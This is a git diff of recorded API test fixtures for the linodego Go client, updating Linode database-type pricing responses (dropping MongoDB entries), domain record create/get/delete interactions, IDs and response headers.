User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/types + url: https://api.linode.com/v4beta/databases/types?page=1 method: GET response: body: '{"page": 1, "pages": 1, "results": 19, "data": [{"id": "g6-nanode-1", "label": @@ -20,98 +20,71 @@ interactions: 25.0}}, {"quantity": 3, "price": {"hourly": 0.0525, "monthly": 35.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.0225, "monthly": 15.0}}, {"quantity": 2, "price": {"hourly": 0.0375, "monthly": 25.0}}, {"quantity": 3, "price": {"hourly": - 0.0525, "monthly": 35.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": - 0.0225, "monthly": 15.0}}, {"quantity": 2, "price": {"hourly": 0.045, "monthly": - 30.0}}, {"quantity": 3, "price": {"hourly": 0.0675, "monthly": 45.0}}]}, "memory": - 1024, "disk": 25600, "vcpus": 1, "class": "nanode"}, {"id": "g6-standard-1", - "label": "DBaaS - Linode 2GB", "engines": {"mysql": [{"quantity": 1, "price": - {"hourly": 0.045, "monthly": 30.0}}, {"quantity": 2, "price": {"hourly": 0.075, - "monthly": 50.0}}, {"quantity": 3, "price": {"hourly": 0.105, "monthly": 70.0}}], - "postgresql": [{"quantity": 1, "price": {"hourly": 0.045, "monthly": 30.0}}, - {"quantity": 2, "price": {"hourly": 0.075, "monthly": 50.0}}, {"quantity": 3, - "price": {"hourly": 0.105, "monthly": 70.0}}], "mongodb": [{"quantity": 1, "price": - {"hourly": 0.045, "monthly": 30.0}}, {"quantity": 2, "price": {"hourly": 0.09, - "monthly": 60.0}}, {"quantity": 3, "price": {"hourly": 0.135, "monthly": 90.0}}]}, - "memory": 2048, "disk": 51200, "vcpus": 1, "class": "standard"}, {"id": "g6-standard-2", + 0.0525, "monthly": 35.0}}]}, "memory": 1024, "disk": 25600, "vcpus": 1, "class": + "nanode"}, {"id": "g6-standard-1", "label": "DBaaS - Linode 2GB", "engines": + {"mysql": [{"quantity": 1, "price": {"hourly": 0.045, "monthly": 30.0}}, {"quantity": + 2, "price": {"hourly": 0.075, "monthly": 50.0}}, {"quantity": 3, "price": {"hourly": + 0.105, "monthly": 70.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": + 0.045, "monthly": 30.0}}, {"quantity": 2, "price": {"hourly": 0.075, "monthly": + 50.0}}, {"quantity": 3, "price": {"hourly": 0.105, "monthly": 70.0}}]}, "memory": + 2048, "disk": 51200, "vcpus": 1, "class": "standard"}, {"id": "g6-standard-2", "label": "DBaaS - Linode 4GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.09, "monthly": 60.0}}, {"quantity": 2, "price": {"hourly": 0.15, "monthly": 100.0}}, {"quantity": 3, "price": {"hourly": 0.21, "monthly": 140.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.09, "monthly": 60.0}}, {"quantity": 2, "price": {"hourly": 0.15, "monthly": 100.0}}, {"quantity": 3, - "price": {"hourly": 0.21, "monthly": 140.0}}], "mongodb": [{"quantity": 1, "price": - {"hourly": 0.09, "monthly": 60.0}}, {"quantity": 2, "price": {"hourly": 0.18, - "monthly": 120.0}}, {"quantity": 3, "price": {"hourly": 0.27, "monthly": 180.0}}]}, - "memory": 4096, "disk": 81920, "vcpus": 2, "class": "standard"}, {"id": "g6-standard-4", - "label": "DBaaS - Linode 8GB", "engines": {"mysql": [{"quantity": 1, "price": - {"hourly": 0.18, "monthly": 120.0}}, {"quantity": 2, "price": {"hourly": 0.3, - "monthly": 200.0}}, {"quantity": 3, "price": {"hourly": 0.42, "monthly": 280.0}}], - "postgresql": [{"quantity": 1, "price": {"hourly": 0.18, "monthly": 120.0}}, - {"quantity": 2, "price": {"hourly": 0.3, "monthly": 200.0}}, {"quantity": 3, - "price": {"hourly": 0.42, "monthly": 280.0}}], "mongodb": [{"quantity": 1, "price": - {"hourly": 0.18, "monthly": 120.0}}, {"quantity": 2, "price": {"hourly": 0.36, - "monthly": 240.0}}, {"quantity": 3, "price": {"hourly": 0.54, "monthly": 360.0}}]}, - "memory": 8192, "disk": 163840, "vcpus": 4, "class": "standard"}, {"id": "g6-standard-6", - "label": "DBaaS - Linode 16GB", "engines": {"mysql": [{"quantity": 1, "price": - {"hourly": 0.36, "monthly": 240.0}}, {"quantity": 2, "price": {"hourly": 0.6, - "monthly": 400.0}}, {"quantity": 3, "price": {"hourly": 0.84, "monthly": 560.0}}], - "postgresql": [{"quantity": 1, "price": {"hourly": 0.36, "monthly": 240.0}}, - {"quantity": 2, "price": {"hourly": 0.6, "monthly": 400.0}}, {"quantity": 3, - "price": {"hourly": 0.84, "monthly": 560.0}}], "mongodb": [{"quantity": 1, "price": - {"hourly": 0.36, "monthly": 240.0}}, {"quantity": 2, "price": {"hourly": 0.72, - "monthly": 480.0}}, {"quantity": 3, "price": {"hourly": 1.08, "monthly": 720.0}}]}, - "memory": 16384, "disk": 327680, "vcpus": 6, "class": "standard"}, {"id": "g6-standard-8", + "price": {"hourly": 0.21, "monthly": 140.0}}]}, "memory": 4096, "disk": 81920, + "vcpus": 2, "class": "standard"}, {"id": "g6-standard-4", "label": "DBaaS - + Linode 8GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.18, + "monthly": 120.0}}, {"quantity": 2, "price": {"hourly": 0.3, "monthly": 200.0}}, + {"quantity": 3, "price": {"hourly": 0.42, "monthly": 280.0}}], "postgresql": + [{"quantity": 1, "price": {"hourly": 0.18, "monthly": 120.0}}, {"quantity": + 2, "price": {"hourly": 0.3, "monthly": 200.0}}, {"quantity": 3, "price": {"hourly": + 0.42, "monthly": 280.0}}]}, "memory": 8192, "disk": 163840, "vcpus": 4, "class": + "standard"}, {"id": "g6-standard-6", "label": "DBaaS - Linode 16GB", "engines": + {"mysql": [{"quantity": 1, "price": {"hourly": 0.36, "monthly": 240.0}}, {"quantity": + 2, "price": {"hourly": 0.6, "monthly": 400.0}}, {"quantity": 3, "price": {"hourly": + 0.84, "monthly": 560.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": + 0.36, "monthly": 240.0}}, {"quantity": 2, "price": {"hourly": 0.6, "monthly": + 400.0}}, {"quantity": 3, "price": {"hourly": 0.84, "monthly": 560.0}}]}, "memory": + 16384, "disk": 327680, "vcpus": 6, "class": "standard"}, {"id": "g6-standard-8", "label": "DBaaS - Linode 32GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.72, "monthly": 480.0}}, {"quantity": 2, "price": {"hourly": 1.2, "monthly": 800.0}}, {"quantity": 3, "price": {"hourly": 1.68, "monthly": 1120.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.72, "monthly": 480.0}}, {"quantity": 2, "price": {"hourly": 1.2, "monthly": 800.0}}, {"quantity": 3, - "price": {"hourly": 1.68, "monthly": 1120.0}}], "mongodb": [{"quantity": 1, - "price": {"hourly": 0.72, "monthly": 480.0}}, {"quantity": 2, "price": {"hourly": - 1.44, "monthly": 960.0}}, {"quantity": 3, "price": {"hourly": 2.16, "monthly": - 1440.0}}]}, "memory": 32768, "disk": 655360, "vcpus": 8, "class": "standard"}, - {"id": "g6-standard-16", "label": "DBaaS - Linode 64GB", "engines": {"mysql": + "price": {"hourly": 1.68, "monthly": 1120.0}}]}, "memory": 32768, "disk": 655360, + "vcpus": 8, "class": "standard"}, {"id": "g6-standard-16", "label": "DBaaS - + Linode 64GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 1.44, + "monthly": 960.0}}, {"quantity": 2, "price": {"hourly": 2.4, "monthly": 1600.0}}, + {"quantity": 3, "price": {"hourly": 3.336, "monthly": 2224.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 1.44, "monthly": 960.0}}, {"quantity": 2, "price": {"hourly": 2.4, "monthly": 1600.0}}, {"quantity": 3, "price": {"hourly": - 3.336, "monthly": 2224.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": - 1.44, "monthly": 960.0}}, {"quantity": 2, "price": {"hourly": 2.4, "monthly": - 1600.0}}, {"quantity": 3, "price": {"hourly": 3.336, "monthly": 2224.0}}], "mongodb": - [{"quantity": 1, "price": {"hourly": 1.44, "monthly": 960.0}}, {"quantity": - 2, "price": {"hourly": 2.88, "monthly": 1920.0}}, {"quantity": 3, "price": {"hourly": - 4.32, "monthly": 2880.0}}]}, "memory": 65536, "disk": 1310720, "vcpus": 16, + 3.336, "monthly": 2224.0}}]}, "memory": 65536, "disk": 1310720, "vcpus": 16, "class": "standard"}, {"id": "g6-standard-20", "label": "DBaaS - Linode 96GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 2.16, "monthly": 1440.0}}, {"quantity": 2, "price": {"hourly": 3.6, "monthly": 2400.0}}, {"quantity": 3, "price": {"hourly": 5.04, "monthly": 3360.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 2.16, "monthly": 1440.0}}, {"quantity": 2, "price": {"hourly": 3.6, "monthly": 2400.0}}, {"quantity": 3, "price": {"hourly": 5.04, "monthly": - 3360.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 2.16, "monthly": - 1440.0}}, {"quantity": 2, "price": {"hourly": 4.32, "monthly": 2880.0}}, {"quantity": - 3, "price": {"hourly": 6.48, "monthly": 4320.0}}]}, "memory": 98304, "disk": - 1966080, "vcpus": 20, "class": "standard"}, {"id": "g6-standard-24", "label": - "DBaaS - Linode 128GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": - 2.88, "monthly": 1920.0}}, {"quantity": 2, "price": {"hourly": 4.8, "monthly": - 3200.0}}, {"quantity": 3, "price": {"hourly": 6.72, "monthly": 4480.0}}], "postgresql": + 3360.0}}]}, "memory": 98304, "disk": 1966080, "vcpus": 20, "class": "standard"}, + {"id": "g6-standard-24", "label": "DBaaS - Linode 128GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 2.88, "monthly": 1920.0}}, {"quantity": 2, "price": {"hourly": 4.8, "monthly": 3200.0}}, {"quantity": 3, "price": {"hourly": - 6.72, "monthly": 4480.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": - 2.88, "monthly": 1920.0}}, {"quantity": 2, "price": {"hourly": 5.76, "monthly": - 3840.0}}, {"quantity": 3, "price": {"hourly": 8.64, "monthly": 5760.0}}]}, "memory": + 6.72, "monthly": 4480.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": + 2.88, "monthly": 1920.0}}, {"quantity": 2, "price": {"hourly": 4.8, "monthly": + 3200.0}}, {"quantity": 3, "price": {"hourly": 6.72, "monthly": 4480.0}}]}, "memory": 131072, "disk": 2621440, "vcpus": 24, "class": "standard"}, {"id": "g6-standard-32", "label": "DBaaS - Linode 192GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 4.32, "monthly": 2880.0}}, {"quantity": 2, "price": {"hourly": 7.2, "monthly": 4800.0}}, {"quantity": 3, "price": {"hourly": 10.08, "monthly": 6720.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 4.32, "monthly": 2880.0}}, {"quantity": 2, "price": {"hourly": 7.2, "monthly": 4800.0}}, {"quantity": 3, - "price": {"hourly": 10.08, "monthly": 6720.0}}], "mongodb": [{"quantity": 1, - "price": {"hourly": 4.32, "monthly": 2880.0}}, {"quantity": 2, "price": {"hourly": - 8.64, "monthly": 5760.0}}, {"quantity": 3, "price": {"hourly": 12.96, "monthly": - 8640.0}}]}, "memory": 196608, "disk": 3932160, "vcpus": 32, "class": "standard"}, - {"id": "g6-dedicated-2", "label": "DBaaS - Dedicated 4GB", "engines": {"mysql": - [{"quantity": 1, "price": {"hourly": 0.0975, "monthly": 65.0}}, {"quantity": - 2, "price": {"hourly": 0.195, "monthly": 130.0}}, {"quantity": 3, "price": {"hourly": - 0.2925, "monthly": 195.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": + "price": {"hourly": 10.08, "monthly": 6720.0}}]}, "memory": 196608, "disk": + 3932160, "vcpus": 32, "class": "standard"}, {"id": "g6-dedicated-2", "label": + "DBaaS - Dedicated 4GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.0975, "monthly": 65.0}}, {"quantity": 2, "price": {"hourly": 0.195, "monthly": - 130.0}}, {"quantity": 3, "price": {"hourly": 0.2925, "monthly": 195.0}}], "mongodb": + 130.0}}, {"quantity": 3, "price": {"hourly": 0.2925, "monthly": 195.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.0975, "monthly": 65.0}}, {"quantity": 2, "price": {"hourly": 0.195, "monthly": 130.0}}, {"quantity": 3, "price": {"hourly": 0.2925, "monthly": 195.0}}]}, "memory": 4096, "disk": 81920, "vcpus": 2, "class": @@ -120,62 +93,45 @@ interactions: 2, "price": {"hourly": 0.39, "monthly": 260.0}}, {"quantity": 3, "price": {"hourly": 0.585, "monthly": 390.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.195, "monthly": 130.0}}, {"quantity": 2, "price": {"hourly": 0.39, "monthly": - 260.0}}, {"quantity": 3, "price": {"hourly": 0.585, "monthly": 390.0}}], "mongodb": - [{"quantity": 1, "price": {"hourly": 0.195, "monthly": 130.0}}, {"quantity": - 2, "price": {"hourly": 0.39, "monthly": 260.0}}, {"quantity": 3, "price": {"hourly": - 0.585, "monthly": 390.0}}]}, "memory": 8192, "disk": 163840, "vcpus": 4, "class": - "dedicated"}, {"id": "g6-dedicated-8", "label": "DBaaS - Dedicated 16GB", "engines": - {"mysql": [{"quantity": 1, "price": {"hourly": 0.39, "monthly": 260.0}}, {"quantity": - 2, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 3, "price": {"hourly": - 1.17, "monthly": 780.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": - 0.39, "monthly": 260.0}}, {"quantity": 2, "price": {"hourly": 0.78, "monthly": - 520.0}}, {"quantity": 3, "price": {"hourly": 1.17, "monthly": 780.0}}], "mongodb": - [{"quantity": 1, "price": {"hourly": 0.39, "monthly": 260.0}}, {"quantity": - 2, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 3, "price": {"hourly": - 1.17, "monthly": 780.0}}]}, "memory": 16384, "disk": 327680, "vcpus": 6, "class": - "dedicated"}, {"id": "g6-dedicated-16", "label": "DBaaS - Dedicated 32GB", "engines": - {"mysql": [{"quantity": 1, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": - 2, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": 3, "price": {"hourly": - 2.34, "monthly": 1560.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": + 260.0}}, {"quantity": 3, "price": {"hourly": 0.585, "monthly": 390.0}}]}, "memory": + 8192, "disk": 163840, "vcpus": 4, "class": "dedicated"}, {"id": "g6-dedicated-8", + "label": "DBaaS - Dedicated 16GB", "engines": {"mysql": [{"quantity": 1, "price": + {"hourly": 0.39, "monthly": 260.0}}, {"quantity": 2, "price": {"hourly": 0.78, + "monthly": 520.0}}, {"quantity": 3, "price": {"hourly": 1.17, "monthly": 780.0}}], + "postgresql": [{"quantity": 1, "price": {"hourly": 0.39, "monthly": 260.0}}, + {"quantity": 2, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 3, + "price": {"hourly": 1.17, "monthly": 780.0}}]}, "memory": 16384, "disk": 327680, + "vcpus": 8, "class": "dedicated"}, {"id": "g6-dedicated-16", "label": "DBaaS + - Dedicated 32GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 2, "price": {"hourly": 1.56, "monthly": - 1040.0}}, {"quantity": 3, "price": {"hourly": 2.34, "monthly": 1560.0}}], "mongodb": + 1040.0}}, {"quantity": 3, "price": {"hourly": 2.34, "monthly": 1560.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.78, "monthly": 520.0}}, {"quantity": 2, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": 3, "price": {"hourly": - 2.34, "monthly": 1560.0}}]}, "memory": 32768, "disk": 655360, "vcpus": 8, "class": + 2.34, "monthly": 1560.0}}]}, "memory": 32768, "disk": 655360, "vcpus": 16, "class": "dedicated"}, {"id": "g6-dedicated-32", "label": "DBaaS - Dedicated 64GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": 2, "price": {"hourly": 3.12, "monthly": 2080.0}}, {"quantity": 3, "price": {"hourly": 4.68, "monthly": 3120.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": 2, "price": {"hourly": 3.12, "monthly": - 2080.0}}, {"quantity": 3, "price": {"hourly": 4.68, "monthly": 3120.0}}], "mongodb": - [{"quantity": 1, "price": {"hourly": 1.56, "monthly": 1040.0}}, {"quantity": - 2, "price": {"hourly": 3.12, "monthly": 2080.0}}, {"quantity": 3, "price": {"hourly": - 4.68, "monthly": 3120.0}}]}, "memory": 65536, "disk": 1310720, "vcpus": 16, - "class": "dedicated"}, {"id": "g6-dedicated-48", "label": "DBaaS - Dedicated - 96GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 2.34, "monthly": - 1560.0}}, {"quantity": 2, "price": {"hourly": 4.68, "monthly": 3120.0}}, {"quantity": - 3, "price": {"hourly": 7.02, "monthly": 4680.0}}], "postgresql": [{"quantity": - 1, "price": {"hourly": 2.34, "monthly": 1560.0}}, {"quantity": 2, "price": {"hourly": - 4.68, "monthly": 3120.0}}, {"quantity": 3, "price": {"hourly": 7.02, "monthly": - 4680.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 2.34, "monthly": - 1560.0}}, {"quantity": 2, "price": {"hourly": 4.68, "monthly": 3120.0}}, {"quantity": + 2080.0}}, {"quantity": 3, "price": {"hourly": 4.68, "monthly": 3120.0}}]}, "memory": + 65536, "disk": 1310720, "vcpus": 32, "class": "dedicated"}, {"id": "g6-dedicated-48", + "label": "DBaaS - Dedicated 96GB", "engines": {"mysql": [{"quantity": 1, "price": + {"hourly": 2.34, "monthly": 1560.0}}, {"quantity": 2, "price": {"hourly": 4.68, + "monthly": 3120.0}}, {"quantity": 3, "price": {"hourly": 7.02, "monthly": 4680.0}}], + "postgresql": [{"quantity": 1, "price": {"hourly": 2.34, "monthly": 1560.0}}, + {"quantity": 2, "price": {"hourly": 4.68, "monthly": 3120.0}}, {"quantity": 3, "price": {"hourly": 7.02, "monthly": 4680.0}}]}, "memory": 98304, "disk": - 1966080, "vcpus": 20, "class": "dedicated"}, {"id": "g6-dedicated-50", "label": + 1966080, "vcpus": 48, "class": "dedicated"}, {"id": "g6-dedicated-50", "label": "DBaaS - Dedicated 128GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 3.12, "monthly": 2080.0}}, {"quantity": 2, "price": {"hourly": 6.24, "monthly": 4160.0}}, {"quantity": 3, "price": {"hourly": 9.36, "monthly": 6240.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 3.12, "monthly": 2080.0}}, {"quantity": 2, "price": {"hourly": 6.24, "monthly": 4160.0}}, {"quantity": 3, "price": {"hourly": - 9.36, "monthly": 6240.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": - 3.12, "monthly": 2080.0}}, {"quantity": 2, "price": {"hourly": 6.24, "monthly": - 4160.0}}, {"quantity": 3, "price": {"hourly": 9.36, "monthly": 6240.0}}]}, "memory": - 131072, "disk": 2560000, "vcpus": 50, "class": "dedicated"}, {"id": "g6-dedicated-56", - "label": "DBaaS - Dedicated 256GB", "engines": {"mysql": [{"quantity": 1, "price": - {"hourly": 6.24, "monthly": 4160.0}}, {"quantity": 2, "price": {"hourly": 12.48, - "monthly": 8320.0}}, {"quantity": 3, "price": {"hourly": 18.72, "monthly": 12480.0}}], - "postgresql": [{"quantity": 1, "price": {"hourly": 6.24, "monthly": 4160.0}}, - {"quantity": 2, "price": {"hourly": 12.48, "monthly": 8320.0}}, {"quantity": - 3, "price": {"hourly": 18.72, "monthly": 12480.0}}], "mongodb": [{"quantity": + 9.36, "monthly": 6240.0}}]}, "memory": 131072, "disk": 2560000, "vcpus": 50, + "class": "dedicated"}, {"id": "g6-dedicated-56", "label": "DBaaS - Dedicated + 256GB", "engines": {"mysql": [{"quantity": 1, "price": {"hourly": 6.24, "monthly": + 4160.0}}, {"quantity": 2, "price": {"hourly": 12.48, "monthly": 8320.0}}, {"quantity": + 3, "price": {"hourly": 18.72, "monthly": 12480.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 6.24, "monthly": 4160.0}}, {"quantity": 2, "price": {"hourly": 12.48, "monthly": 8320.0}}, {"quantity": 3, "price": {"hourly": 18.72, "monthly": 12480.0}}]}, "memory": 262144, "disk": 5120000, "vcpus": 56, "class": "dedicated"}, @@ -185,10 +141,7 @@ interactions: {"hourly": 37.44, "monthly": 24960.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 12.48, "monthly": 8320.0}}, {"quantity": 2, "price": {"hourly": 24.96, "monthly": 16640.0}}, {"quantity": 3, "price": {"hourly": 37.44, "monthly": - 24960.0}}], "mongodb": [{"quantity": 1, "price": {"hourly": 12.48, "monthly": - 8320.0}}, {"quantity": 2, "price": {"hourly": 24.96, "monthly": 16640.0}}, {"quantity": - 3, "price": {"hourly": 37.44, "monthly": 24960.0}}]}, "memory": 524288, "disk": - 7372800, "vcpus": 64, "class": "dedicated"}]}' + 24960.0}}]}, "memory": 524288, "disk": 7372800, "vcpus": 64, "class": "dedicated"}]}' headers: Access-Control-Allow-Credentials: - "true" @@ -201,19 +154,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 16:45:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -224,7 +181,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -248,11 +205,8 @@ interactions: 2, "price": {"hourly": 0.0375, "monthly": 25.0}}, {"quantity": 3, "price": {"hourly": 0.0525, "monthly": 35.0}}], "postgresql": [{"quantity": 1, "price": {"hourly": 0.0225, "monthly": 15.0}}, {"quantity": 2, "price": {"hourly": 0.0375, "monthly": - 25.0}}, {"quantity": 3, "price": {"hourly": 0.0525, "monthly": 35.0}}], "mongodb": - [{"quantity": 1, "price": {"hourly": 0.0225, "monthly": 15.0}}, {"quantity": - 2, "price": {"hourly": 0.045, "monthly": 30.0}}, {"quantity": 3, "price": {"hourly": - 0.0675, "monthly": 45.0}}]}, "memory": 1024, "disk": 25600, "vcpus": 1, "class": - "nanode"}' + 25.0}}, {"quantity": 3, "price": {"hourly": 0.0525, "monthly": 35.0}}]}, "memory": + 1024, "disk": 25600, "vcpus": 1, "class": "nanode"}' headers: Access-Control-Allow-Credentials: - "true" @@ -265,16 +219,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "733" + - "532" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 16:45:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -290,7 +247,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDomainRecord_Create.yaml b/test/integration/fixtures/TestDomainRecord_Create.yaml index b93330551..1d62539e2 100644 --- a/test/integration/fixtures/TestDomainRecord_Create.yaml +++ b/test/integration/fixtures/TestDomainRecord_Create.yaml @@ -14,7 +14,7 @@ interactions: url: https://api.linode.com/v4beta/domains method: POST response: - body: '{"id": 1899359, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470363, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -32,8 +32,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +41,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -54,7 +53,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,10 +69,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899359/records + url: https://api.linode.com/v4beta/domains/470363/records method: POST response: - body: '{"id": 22122783, "type": "A", "name": "a", "target": "127.0.0.1", "priority": + body: '{"id": 42397, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: @@ -90,7 +89,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "234" + - "231" Content-Security-Policy: - default-src 'none' Content-Type: @@ -111,7 +110,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -127,7 +126,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899359/records/22122783 + url: https://api.linode.com/v4beta/domains/470363/records/42397 method: DELETE response: body: '{}' @@ -166,7 +165,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -182,7 +181,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899359 + url: https://api.linode.com/v4beta/domains/470363 method: DELETE response: body: '{}' @@ -221,7 +220,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDomainRecord_Get.yaml b/test/integration/fixtures/TestDomainRecord_Get.yaml index ad8f14d6e..8f9579680 100644 --- a/test/integration/fixtures/TestDomainRecord_Get.yaml +++ b/test/integration/fixtures/TestDomainRecord_Get.yaml @@ -14,7 +14,7 @@ interactions: url: https://api.linode.com/v4beta/domains method: POST response: - body: '{"id": 1899363, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470367, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -32,8 +32,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +41,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -54,7 +53,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,10 +69,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899363/records + url: https://api.linode.com/v4beta/domains/470367/records method: POST response: - body: '{"id": 22122788, "type": "A", "name": "a", "target": "127.0.0.1", "priority": + body: '{"id": 42401, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: @@ -90,7 +89,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "234" + - "231" Content-Security-Policy: - default-src 'none' Content-Type: @@ -111,7 +110,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -127,10 +126,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899363/records/22122788 + url: https://api.linode.com/v4beta/domains/470367/records/42401 method: GET response: - body: '{"id": 22122788, "type": "A", "name": "a", "target": "127.0.0.1", "priority": + body: '{"id": 42401, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: @@ -148,7 +147,7 @@ interactions: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - - "234" + - "231" Content-Security-Policy: - default-src 